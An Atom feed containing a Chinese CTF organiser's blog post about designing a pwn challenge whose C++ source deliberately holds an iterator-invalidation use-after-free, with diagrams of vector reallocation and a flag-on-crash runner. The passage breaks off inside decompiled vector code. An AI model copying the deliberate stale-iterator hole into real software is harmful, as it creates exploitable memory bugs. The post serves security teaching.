<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>l1nk3dHouse</title>
  
  <subtitle>嘛。。就这样吧</subtitle>
  <link href="https://showlinkroom.me/atom.xml" rel="self"/>
  
  <link href="https://showlinkroom.me/"/>
  <updated>2025-03-30T07:38:59.458Z</updated>
  <id>https://showlinkroom.me/</id>
  
  <author>
    <name>Link</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>一次比赛出题引发的docker学习</title>
    <link href="https://showlinkroom.me/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/"/>
    <id>https://showlinkroom.me/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/</id>
    <published>2025-03-30T02:46:37.000Z</published>
    <updated>2025-03-30T07:38:59.458Z</updated>
    
    <content type="html"><![CDATA[<p>在周末和战队队友们一起运维了一次校赛，虽然大多数时候我只负责OB，不过最后还是小小的帮了点忙。在这期间，有一个pwn题的非预期做法引起了我的注意，并且在最终发现其本质上是一个docker引发的问题。这里记录一下整个探索过程</p><h2 id="more-一次比赛出题引发的docker学习"><span id="more"></span><br>一次比赛出题引发的docker学习</h2><h2 id="起因">起因</h2><p>因为本次比赛面向的是学校内的学生，并且除了考察能力外，还要兼具宣传CTF和激发学生兴趣的目的，所以我和几个负责出题的战队学弟说，这次题目最好还是要<strong>兼具趣味性和技术性，少一点太技巧性的内容</strong>。其中在pwn这边负责出题的学弟就想到了一个点子：专门考察漏洞点，只要能触发漏洞点，就会将flag交出。</p><p><img src="/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/docker00.png" alt=""></p><p>我当即就觉得想法很好，因为这几年CTF的变化给人感觉有点过于为了竞赛而竞赛。加上竞赛本身被赋予的各种含义，感觉有点不在专注于【探索新技术】这个点。<br>扯远了，这个题目在各种修改后，其代码大致如下（删掉了一些和本文无关的代码）:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">PopMart</span> &#123;</span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line">    string name;</span><br><span class="line">    <span class="built_in">PopMart</span>(string name = <span class="string">&quot;&quot;</span>) : <span class="built_in">name</span>(name) &#123;&#125;</span><br><span class="line">    <span class="function"><span class="type">bool</span> <span class="title">satisfied</span><span class="params">()</span> </span>&#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;input a number:&quot;</span> &lt;&lt; endl;</span><br><span class="line">        <span class="type">int</span> target = <span class="built_in">rand</span>() % <span class="number">100</span>;</span><br><span class="line">        <span class="type">int</span> num;</span><br><span class="line">        cin &gt;&gt; num;</span><br><span class="line">        <span class="keyword">if</span> (num == target) &#123;</span><br><span class="line">            cout &lt;&lt; <span class="string">&quot;You got a SSR!&quot;</span> &lt;&lt; endl;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">true</span>;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            cout &lt;&lt; <span class="string">&quot;You got a R!&quot;</span> &lt;&lt; endl;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">false</span>;   </span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">vector&lt;PopMart*&gt; buy_list;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">vector&lt;PopMart*&gt;::<span class="function">iterator <span class="title">buyGoods</span><span class="params">(vector&lt;PopMart*&gt;&amp; popmart_list)</span> </span>&#123;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;Which one do you want to buy?&quot;</span> &lt;&lt; endl;</span><br><span class="line">    string name;</span><br><span class="line">    cin &gt;&gt; name;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;we will try to new popmart&quot;</span> &lt;&lt; endl;</span><br><span class="line">    vector&lt;PopMart*&gt;::iterator find_SSR = vector&lt;PopMart*&gt;::<span class="built_in">iterator</span>();</span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">auto</span> it = popmart_list.<span class="built_in">begin</span>(); it != popmart_list.<span class="built_in">end</span>(); ) &#123;</span><br><span class="line">        PopMart* popmart = *it;</span><br><span class="line">        <span class="keyword">if</span> (popmart-&gt;name == name) &#123;</span><br><span class="line">            cout &lt;&lt; <span class="string">&quot;create popmart&quot;</span> &lt;&lt; endl;</span><br><span class="line">            PopMart* newpopmart = <span class="keyword">new</span> <span class="built_in">PopMart</span>(bandMembers[name][<span class="built_in">rand</span>() % <span class="number">5</span>]);</span><br><span class="line">            cout &lt;&lt; <span class="string">&quot;create finish&quot;</span> &lt;&lt; endl;</span><br><span class="line">            buy_list.<span class="built_in">push_back</span>(newpopmart);</span><br><span class="line">            <span class="keyword">if</span> (popmart-&gt;<span class="built_in">satisfied</span>()) &#123;</span><br><span class="line">                find_SSR = std::<span class="built_in">prev</span>(buy_list.<span class="built_in">end</span>());</span><br><span class="line">                <span class="keyword">return</span> find_SSR;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        ++it;</span><br><span class="line">        </span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> find_SSR;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">void</span> <span class="title">init</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;Welcome to PopMart Shop!&quot;</span> &lt;&lt; endl;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;try your best to get the bang SSR you like&quot;</span> &lt;&lt; endl;</span><br><span class="line">    buy_list.<span class="built_in">reserve</span>(<span class="number">32</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    <span class="keyword">try</span> &#123;</span><br><span class="line">        <span class="type">int</span> id;</span><br><span class="line">        <span class="built_in">init</span>();</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;plz input your user account:&quot;</span> &lt;&lt; endl;</span><br><span class="line">        cin &gt;&gt; id;</span><br><span class="line">        <span class="built_in">srand</span>(id);</span><br><span class="line">        vector&lt;PopMart*&gt; popmart_list;</span><br><span class="line">        vector&lt;PopMart*&gt;::iterator wanted = vector&lt;PopMart*&gt;::<span class="built_in">iterator</span>();</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;We have 9 goods for you:&quot;</span> &lt;&lt; endl;</span><br><span class="line"></span><br><span class="line">        <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">0</span>; i &lt; <span class="number">9</span>; i++) &#123;</span><br><span class="line">            PopMart* popmart = <span class="keyword">new</span> <span class="built_in">PopMart</span>(bandNames[i]);</span><br><span class="line">            popmart_list.<span class="built_in">push_back</span>(popmart);</span><br><span class="line">        &#125;</span><br><span class="line">        vector&lt;PopMart*&gt;::iterator find_SSR = vector&lt;PopMart*&gt;::<span class="built_in">iterator</span>();</span><br><span class="line">        <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">            <span class="built_in">banner</span>();</span><br><span class="line">            <span class="type">int</span> choice;</span><br><span class="line">            cin &gt;&gt; choice;</span><br><span class="line">            <span class="keyword">switch</span> (choice) &#123;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">1</span>: &#123;</span><br><span class="line">                    find_SSR = <span class="built_in">buyGoods</span>(popmart_list);</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">2</span>: &#123;</span><br><span class="line">                    cout &lt;&lt; <span class="string">&quot;Purchased goods:&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    <span class="keyword">for</span> (<span class="keyword">auto</span> it = buy_list.<span class="built_in">begin</span>(); it != buy_list.<span class="built_in">end</span>(); it++) &#123;</span><br><span class="line">                        cout &lt;&lt; (*it)-&gt;name &lt;&lt; endl;</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">3</span>: &#123;</span><br><span class="line">                    <span class="keyword">if</span> (chance) &#123;</span><br><span class="line">                        wanted = find_SSR;</span><br><span class="line">                        chance--;</span><br><span class="line">                    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">                        cout &lt;&lt; <span class="string">&quot;You have no chance!&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    &#125;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">4</span>: &#123;</span><br><span class="line">                    <span class="keyword">if</span> ((wanted) == vector&lt;PopMart*&gt;::<span class="built_in">iterator</span>()) <span class="keyword">continue</span>;</span><br><span class="line">                    cout &lt;&lt; <span class="string">&quot;plz input your new name:&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    string name;</span><br><span class="line">                    cin &gt;&gt; name;</span><br><span class="line">                    (*wanted)-&gt;name = name;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">case</span> <span class="number">5</span>: &#123;</span><br><span class="line">                    cout &lt;&lt; <span class="string">&quot;Exiting...&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    cout &lt;&lt; <span class="string">&quot;Haha! U can&#x27;t exit!&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">                <span class="keyword">default</span>: &#123;</span><br><span class="line">                    cout &lt;&lt; <span class="string">&quot;Invalid choice!&quot;</span> &lt;&lt; endl;</span><br><span class="line">                    <span class="keyword">break</span>;</span><br><span class="line">                &#125;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125; <span class="built_in">catch</span> (<span class="type">const</span> exception&amp; e) &#123;</span><br><span class="line">        <span class="comment">// cerr &lt;&lt; &quot;Error: &quot; &lt;&lt; e.what() &lt;&lt; endl;</span></span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;Error: &quot;</span> &lt;&lt; e.<span class="built_in">what</span>() &lt;&lt; endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>上述代码中潜藏着一个<code>C++迭代器错误使用</code>的例子。为了能够让学生们能够更加轻易的识别漏洞，我们将题目调整成一种<strong>虽然看起来是正常使用，但是其实也有一点刻意</strong>的形式，希望选手在读题的时候察觉到这种可以异常，从而思考漏洞的成因。</p><h3 id="漏洞成因">漏洞成因</h3><p>这里简单介绍一下漏洞成因和设计思路。题目中给出的是一个邦多力抽卡商店，其中购买的对象会用全局对象 <code>buy_list</code>存储</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vector&lt;PopMart*&gt; buy_list;</span><br></pre></td></tr></table></figure><p>每次我们购买对应的popmart的时候，我们都会尝试进行一次ssr判定，这个过程其实是要求选手去进行猜测的，本质上是一个随机数预测。当猜中后，程序会将当前<strong>buy_list的迭代器返回给选手</strong>，否则返回一个<strong>无效迭代器</strong></p><p><em>此处就是第一个让人觉得刻意的地方。因为正常情况下思考，此时应当返回对象指针，而并非迭代器。此处异常举动是希望引发选手注意到该题可能和迭代器错误有关</em></p><p>之后除了普通的展示逻辑外，还有常见pwn题的修改功能，在本题中的含义为<strong>能对抽到的SSR的名字进行自定义</strong>。不过题目此时修改的功能依赖一个<strong>全局wanted 迭代器对象</strong>，而非指针：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">case</span> <span class="number">3</span>: &#123;</span><br><span class="line">    <span class="keyword">if</span> (chance) &#123;</span><br><span class="line">        wanted = find_SSR;</span><br><span class="line">        chance--;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;You have no chance!&quot;</span> &lt;&lt; endl;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">case</span> <span class="number">4</span>: &#123;</span><br><span class="line">    <span class="keyword">if</span> ((wanted) == vector&lt;PopMart*&gt;::<span class="built_in">iterator</span>()) <span class="keyword">continue</span>;</span><br><span class="line">    cout &lt;&lt; <span class="string">&quot;plz input your new name:&quot;</span> &lt;&lt; endl;</span><br><span class="line">    string name;</span><br><span class="line">    cin &gt;&gt; name;</span><br><span class="line">    (*wanted)-&gt;name = name;</span><br><span class="line">    <span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><em>此处是第二个刻意的地方，强调此时修改的是一个迭代器对象，而非指针，说明漏洞点本质上发生在vector而非Popmart对象中</em></p><p>如果结合上述关于vector和迭代器两个元素，查找漏洞相关的资料（抑或是自己思考直接速通），应该是能够找到相关资料的，<a href="https://tiangonglab.github.io/blog/tiangongarticle029/">关于 C++ 迭代器失效特性的研究</a>以及<a href="https://cloud.tencent.com/developer/article/2479625">编程千问》第十六问：迭代器失效你了解吗？</a>，均讨论了这种vector对象迭代器失效的研究，这里简单概括一下题目中的情况:</p><p>假定我们的 vector 中有7个元素:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+     </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br></pre></td></tr></table></figure><p>此时，我们需要插入一个元素 7。那么在插入元素的时候，实际上vector会发生一次【重分配】，可以简单的理解为进行了<code>realloc</code>的调用， 会分配原来两倍的大小，并且将原先的内存释放掉</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">// 已经被释放</span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+     </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// 重新申请的内存，保证能放得下元素7</span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+          </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |  7  |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line">|     |     |     |     |     |     |     |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br></pre></td></tr></table></figure><p>然而，假设我们在释放前，存在一个指针（也就是<strong>迭代器</strong>）指向了原先的数组，例如</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">        +---- iter</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+     </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>那么当我们<strong>插入元素的时候，iter并不会发生改变</strong>，那么此时内存布局就变为</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"></span><br><span class="line">// 依旧指向原先的元素</span><br><span class="line">        +---- iter</span><br><span class="line">        |</span><br><span class="line">        v</span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+     </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">// 重新申请的内存，保证能放得下元素7</span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+          </span><br><span class="line">| 0   | 1   | 2   | 3   | 4   | 5   |  6  |  7  |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line">|     |     |     |     |     |     |     |     |     </span><br><span class="line">+-----+-----+-----+-----+-----+-----+-----+-----+</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>那此时如果<strong>对iter指向的对象进行操作，就会发生UAF</strong>，导致漏洞出现</p><p>题目希望做题人利用购买来触发vector的内存重分配，并且利用SSR机制来让迭代器<strong>遗留在重新申请内存前的位置</strong>，从而构造一个UAF场景。最终利用题目中提供的修改机制，访问迭代器对象，最终实现UAF，触发ASAN。</p><h3 id="意料之外-vector导致的崩溃？">意料之外 - vector导致的崩溃？</h3><p>为了能够检测asan，出题人准备了如下的检测逻辑，称为<code>runner.cpp</code>:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span> </span>&#123;</span><br><span class="line">    cout &lt;&lt;<span class="string">&quot;Welcome to Runner!\n&quot;</span>;</span><br><span class="line">    <span class="type">pid_t</span> pid = fork();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">if</span> (pid &lt; <span class="number">0</span>) &#123;</span><br><span class="line">        cerr &lt;&lt; ANSI_COLOR_RED &lt;&lt; <span class="string">&quot;Fork error.&quot;</span> &lt;&lt; ANSI_COLOR_RESET &lt;&lt; endl;</span><br><span class="line">        <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="built_in">close</span>(fd);  <span class="comment">// 关闭 fd，stderr 已重定向</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (pid == <span class="number">0</span>) &#123;</span><br><span class="line">        </span><br><span class="line">        <span class="built_in">execl</span>(<span class="string">&quot;./attachment&quot;</span>, <span class="string">&quot;attachment&quot;</span>, (<span class="type">char</span>*)<span class="literal">NULL</span>);</span><br><span class="line">        <span class="built_in">perror</span>(<span class="string">&quot;exec error&quot;</span>);</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">1</span>);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="type">int</span> status = <span class="number">0</span>;</span><br><span class="line">    <span class="built_in">waitpid</span>(pid, &amp;status, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> (<span class="built_in">WIFEXITED</span>(status) &amp;&amp; <span class="built_in">WEXITSTATUS</span>(status) == <span class="number">0</span>) &#123;</span><br><span class="line">        cout &lt;&lt; ANSI_COLOR_GREEN <span class="string">&quot;./attachment exited normally.&quot;</span> ANSI_COLOR_RESET &lt;&lt; endl;</span><br><span class="line">    &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">        ifstream <span class="built_in">flagFile</span>(<span class="string">&quot;flag&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span> (!flagFile) &#123;</span><br><span class="line">            cerr &lt;&lt; ANSI_COLOR_RED &lt;&lt; <span class="string">&quot;Cannot open flag.txt&quot;</span>&lt;&lt; ANSI_COLOR_RESET &lt;&lt; endl;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">1</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        stringstream buffer;</span><br><span class="line">        buffer &lt;&lt; flagFile.<span class="built_in">rdbuf</span>();</span><br><span class="line">        cout &lt;&lt; <span class="string">&quot;now status is &quot;</span> &lt;&lt; <span class="built_in">WEXITSTATUS</span>(status) &lt;&lt; endl;</span><br><span class="line">        cout &lt;&lt; ANSI_COLOR_RED &lt;&lt; <span class="string">&quot;You escaped the shop!&quot;</span> &lt;&lt; ANSI_COLOR_RESET &lt;&lt; endl;</span><br><span class="line">        cout &lt;&lt; ANSI_COLOR_YELLOW &lt;&lt; <span class="string">&quot;ASan detected an error! Here is your flag:&quot;</span> &lt;&lt; ANSI_COLOR_RESET &lt;&lt; endl;</span><br><span class="line">        cout &lt;&lt; ANSI_COLOR_GREEN &lt;&lt; buffer.<span class="built_in">str</span>() &lt;&lt; ANSI_COLOR_RESET;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中<code>attachment</code>就是题目。题目本身给了源码，可以发现出题人把退出逻辑去掉了，就是希望做题人能够通过触发asan来实现程序退出，就能通过此办法获取flag。</p><p><em>其实仔细看，这个判题逻辑中并未直接判断是否存在asan出错信息，为之后的问题留下伏笔</em></p><p>然而在比赛期间，发生了一些意料之外的事情:</p><p><img src="/2025/03/30/%E4%B8%80%E6%AC%A1%E6%AF%94%E8%B5%9B%E5%87%BA%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84docker%E5%AD%A6%E4%B9%A0/docker01.png" alt=""></p><p>这个题目我也参与了验题，理论上大部分的问题应该排除，但是这里上传大量的数据会导致程序挂掉这点我是没想到的。在vector底层实现里面，有类似如下的逻辑:</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br></pre></td><td class="code"><pre><span class="line">__int64 __fastcall std::vector&lt;<span class="type">int</span>&gt;::_S_max_size(__int64 a1)</span><br><span class="line">&#123;</span><br><span class="line">  __int64 v2; <span class="comment">// [rsp+18h] [rbp-18h] BYREF</span></span><br><span class="line">  __int64 v3[<span class="number">2</span>]; <span class="comment">// [rsp+20h] [rbp-10h] BYREF</span></span><br><span class="line"></span><br><span class="line">  v3[<span class="number">1</span>] = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  v2 = <span class="number">0x1FFFFFFFFFFFFFFF</span>LL;</span><br><span class="line">  v3[<span class="number">0</span>] = std::allocator_traits&lt;std::allocator&lt;<span class="type">int</span>&gt;&gt;::<span class="built_in">max_size</span>(a1);</span><br><span class="line">  <span class="keyword">return</span> *(_QWORD *)std::<span class="built_in">min</span>&lt;<span class="type">unsigned</span> <span class="type">long</span>&gt;(&amp;v2, v3);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">__int64 __fastcall std::vector&lt;<span class="type">int</span>&gt;::_M_check_len(__int64 a1, <span class="type">unsigned</span> __int64 a2, <span class="type">const</span> <span class="type">char</span> *a3)</span><br><span class="line">&#123;</span><br><span class="line">  <span class="comment">// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-&quot;+&quot; TO EXPAND]</span></span><br><span class="line"></span><br><span class="line">  v10 = a1;</span><br><span class="line">  v9 = a2;</span><br><span class="line">  v13 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  v3 = std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">max_size</span>(a1);</span><br><span class="line">  <span class="keyword">if</span> ( v3 - std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">size</span>(a1) &lt; a2 )</span><br><span class="line">    std::__throw_length_error(a3);</span><br><span class="line">  v4 = std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">size</span>(v10);</span><br><span class="line">  v11 = std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">size</span>(v10);</span><br><span class="line">  v12 = v4 + *(_QWORD *)std::<span class="built_in">max</span>&lt;<span class="type">unsigned</span> <span class="type">long</span>&gt;(&amp;v11, &amp;v9);</span><br><span class="line">  v5 = std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">size</span>(v10);</span><br><span class="line">  <span class="keyword">if</span> ( v12 &gt;= v5 &amp;&amp; (v6 = std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">max_size</span>(v10), v12 &lt;= v6) )</span><br><span class="line">    <span class="keyword">return</span> v12;</span><br><span class="line">  <span class="keyword">else</span></span><br><span class="line">    <span class="keyword">return</span> std::vector&lt;<span class="type">int</span>&gt;::<span class="built_in">max_size</span>(v10);</span><br><span 